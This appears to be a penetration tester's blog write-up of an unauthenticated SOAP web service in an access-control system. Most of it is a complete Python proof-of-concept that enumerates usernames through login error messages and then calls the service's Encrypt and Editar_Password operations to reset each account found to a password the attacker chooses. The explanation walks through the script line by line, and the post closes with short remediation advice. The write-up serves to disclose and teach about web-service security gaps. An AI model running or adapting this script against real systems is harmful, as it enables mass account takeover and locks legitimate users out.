Standard enumeration followed: network discovery on hostnames showed port 4044 open running a web server, further details (active SSL, IIS and ASP versions, WAF present, etc.) were obtained using NSE. Bruteforcing was set to discover valid objects which met regular expressions like *accesscontrol.* and such.
After a few minutes wsaccesscontrol.asmx was found. It contained a typical generated service description interface (just a high level WSDL with request samples, yay!). For those of you who aren't familiarized with WebServices WSDL files are used to instruct clients on how to consume WS operations. WebServices consist of requests and responses of messages that make sense to specific operations wrapped in SOAP envelopes (not always). WSDL are structured in four basic sections: types (where all elements, their type and structure is defined), messages (complex XML objects built with elements), portType (defines what messages are required by each operation [interface], thus giving them semantics), and service (which tells the client where these operations are located and what technology they use: SOAP or REST, version, etc.). Consequently, WSDL files provide a bunch of valuable information to spot when, where and how the WS expects data.
Almost all targets constructed XML files that were provided to this WebService which in turns talks with required DLLs, databases, etc. This way it's easier to protect input data being sent to the DB and developers get rid of exception management, SQL injections, and connection setup providing scalability at the same time. Problem is, WebServices are placed on the application layer, are usually designed to be consumed by applications and frameworks often provide automatic WS generation based on objects behavior. This leaves security aside so if you know where to look, you are probably good to go :)
In this case, no WS-Security was implemented so anyone with the correct EndPoint URL and a simple HTTP tool could consume any operation bypassing any nasty input manipulation being performed on the webapp layer. I wrote a simple python tool as a PoC which is explained below:
1: import sys
2: import httplib
3: import urllib
4: from xml.dom.minidom import parseString
5: import zlib
6: import time
7:
8:
9: #-------------- PARAMETROS --------------#
10: HOST = 'www.hostname.com'
11: URL = '/accesscontrol/login.aspx'
12: URL_WS = '/wsaccesscontrol.asmx'
13: TAG = '<span id="_ctl0_ContentPlaceHolder1_lblOk" style="color:Red;font-weight:bold;">'
14: PUERTO = 4044
15: TIPO_DOC = "XX"
16: ACTION_ENCRYPT = "http://namespace.org/Crypt"
17: ACTION_EDITARPWD = "http://namespace.org/EditarPwd"
18: httplib.HTTPConnection.debuglevel = 0
19:
20: #-------------- CONSUME UN WEBSERVICE SEGUN PARAMETROS --------------#
21: #-------------- h: host, p: puerto, action: SOAPAction, XML: Envelope, RES: [1, retorna el cuerpo; 2, retorna estado] --------------#
22: def consumirWS(h,p,action,xml,res):
23: conn = httplib.HTTPSConnection(h,p)
24: headers = {
25: 'Host' : h,
26: 'Content-Type' : 'text/xml; charset=utf-8',
27: 'SOAPAction' : '"'+action+'"',
28: 'Content-Length' : len(xml)
29: }
30: conn.request('POST', URL_WS, headers = headers, body = xml)
31: rsp = conn.getresponse()
32: if res == 1:
33: return rsp.read()
34: elif res == 2:
35: return rsp.status
36:
37: #-------------- CONSUME ENCRYPT Y RETORNA EL HASH --------------#
38: def getHash():
39: print "[*] Obteniendo contrasena para " + sys.argv[3] + "..."
40: time.sleep(2)
41: xml = """<?xml version="1.0" encoding="utf-8"?>
42: <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
43: <soap:Body>
44: <Encrypt xmlns="http://tempuri.org/">
45: <PwsText>%s</PwsText>
46: </Encrypt>
47: </soap:Body>
48: </soap:Envelope>""" % sys.argv[3]
49: #Viene de xml.dom.minidom, pide el cuerpo de la respuesta
50: doc = parseString(consumirWS(HOST,PUERTO,ACTION_ENCRYPT,xml,1))
51: return doc.getElementsByTagName('EncryptResult')[0].firstChild.data
52:
53: #-------------- CONSUME CAMBIO DE PWD CON RESPECTO AL HASH --------------#
54: def cambiarPwd(uID):
55: h = getHash()
56: print "\t[+] Hash encontrado: " + h + " !"
57: print "[+] Cambiando contrasena para " + str(uID) + " por " + sys.argv[3] + "..."
58: time.sleep(3)
59: xml = """<?xml version="1.0" encoding="utf-8"?>
60: <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
61: <soap:Body>
62: <Editar_Password xmlns="http://tempuri.org/">
63: <x_TipoDoc>%s</x_TipoDoc>
64: <x_NroDoc>%s</x_NroDoc>
65: <x_Password>%s</x_Password>
66: </Editar_Password>
67: </soap:Body>
68: </soap:Envelope>""" % (TIPO_DOC, str(uID), h)
69: #Pide el estado
70: consumirWS(HOST,PUERTO,ACTION_EDITARPWD,xml,2)
71: print "\t[+] WebService consumido... Verificar usuario!!"
72:
73: #-------------- DEDUCE SI EL USUARIO EXISTE EN LA BD --------------#
74: def parsearFB(html):
75: if TAG in html:
76: idx = html.find(TAG)
77: fs = html[idx:].split(">")
78: #Queda la segunda porcion en fs[1]
79: res = fs[1].split("<")
80: if res[0] == 'Su cuenta de usuario fue bloqueada por intentos de ingreso fallidos':
81: return 2
82: elif res[0] == 'El usuario no existe':
83: return 0
84: else:
85: return 1
86: else:
87: print "[-] HTML inesperado, obviando usuario..."
88: return -1
89:
90: #-------------- CICLO PRINCIPAL, FUERZA BRUTA CONTRA HTTP --------------#
91: def fuerzaBruta(inicial, final):
92: print "[*] Esperando conexion con " + HOST + "..."
93: time.sleep(1)
94: conn = httplib.HTTPSConnection(HOST)
95: headers = {
96: 'Host' : HOST,
97: 'Connection' : 'keep-alive',
98: 'Cache-Control' : 'max-age=0',
99: 'Origin' : 'https://' + HOST,
100: 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5',
101: 'Content-Type' : 'application/x-www-form-urlencoded',
102: 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
103: 'Referer' : 'https://' + HOST + '/accesscontrol/login.aspx',
104: 'Accept-Encoding' : 'gzip',
105: 'Accept-Language' : 'es-ES,es;q=0.8',
106: 'Accept-Charset' : 'ISO-8859-1,utf-8;q=0.7,*;q=0.3',
107: #'Cookie' : '.ASPXANONYMOUS=cCqDMUp0zQEkAAAAMDMzM2JkMDAtMGJkYy00ZTYzLWIyMmMtYWRmZjc5MjQzZDZl0; __utma=105786497.1725014435.1338309084.1338309084.1338309084.1; __utmz=105786497.1338309084.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASP.NET_SessionId=0yxkfbj3kvruzuzpurijz00u'
108: }
109: print "[*] Activando decompresion gzip..."
110: time.sleep(2)
111: for uID in range(inicial, final):
112: cuerpo = "VIEWSTATE, EVENT VALIDATOR, AND STUFF HERE! " + "3AContentPlaceHolder1%3AddlUsuario=CPN&_ctl0%3AContentPlaceHolder1%3Addl_TipoDoc="+TIPO_DOC+"&_ctl0%3AContentPlaceHolder1%3AtxtNroDoc="+str(uID)+"&_ctl0%3AContentPlaceHolder1%3AValidatorCalloutExtender1_ClientState=&_ctl0%3AContentPlaceHolder1%3AtxtPws=&_ctl0%3AContentPlaceHolder1%3AValidatorCalloutExtender3_ClientState=&_ctl0%3AContentPlaceHolder1%3Aimb_aceptar.x=26&_ctl0%3AContentPlaceHolder1%3Aimb_aceptar.y=9"
113: headers['Content-Length'] = len(cuerpo)
114: conn.request('POST', URL, headers = headers, body = cuerpo)
115: rsp = conn.getresponse()
116: contenido = rsp.read()
117: existe = -1
118: if rsp.getheader('content-encoding') != 'gzip':
119: existe = parsearFB(contenido)
120: print contenido
121: else:
122: #Descomprime el contenido que viene en gzip!!
123: decomp = zlib.decompress(contenido, 16+zlib.MAX_WBITS)
124: existe = parsearFB(decomp)
125: if existe == 1:
126: print "\t[+] Usuario " + str(uID) + " encontrado!"
127: cambiarPwd(uID)
128: elif existe == 2:
129: #TODO Activar usuario
130: print "\t[+] Usuario " + str(uID) + " encontrado pero se encuentra bloqueado."
131:
132: #-------------- ENTRYPOINT --------------#
133: print "\n\t\t[*] XX/XX/12 - PUBLIC"
134: print "\t\t[*] AccessControl WS - Prueba de Concepto"
135: print "\t\t[*] Written by: Santiago Diaz - salchoman@gmail.com"
136: if(len(sys.argv) > 3):
137: print "\n\n[*] Iniciando fuerza bruta en el rango ["+ sys.argv[1] + ", " + sys.argv[2] + "]..."
138: time.sleep(2)
139: fuerzaBruta(int(sys.argv[1]),int(sys.argv[2])+1)
140: else:
141: print "\n\t[-] Uso: " + sys.argv[0] + " {inicio} {fin} {nueva_contrasena}"
142: exit()
143: exit()
The code is quite simple, there are lots of libraries out there that can make this stuff happen easier but I like handcrafted functionality when possible :) Anyway, its first two parameters define the start and end of a range of numbers (usernames, in fact) to be tested by taking advantage of a username enumeration vuln. This is done by the fuerzaBruta() function which is called in line 139, it will connect to the HTTPS application and send a legitimate package (got it using burp) inside a user defined range loop. Some header checking is performed as the load balancer compresses traffic also (in which case it decompresses, right) to finally call the parsearFB() function on line 74 which performs basic splitting of the HTML code in search of the specific tag containing the server's answer (using length comparison would have been better, now that it think about it xD), it'll tell the caller function whether the username exists or not and if it does cambiarPwd() on line 54 will be called.
A generic WebService consuming function is implemented as consumirWS() in line 22 so the rest of the process it's really simple. First, getHash() will be called to consume the Crypt operation (which returns the hash of the third parameter) so the EditPwd operation can be consumed to change the username's password.
Sure, the remediation for this particular vulns are quite easy to implement (Basic auth, PKI, IP filtering, ...) the moral is always the same: beware of assuming, don't underestimate your app capabilities, ...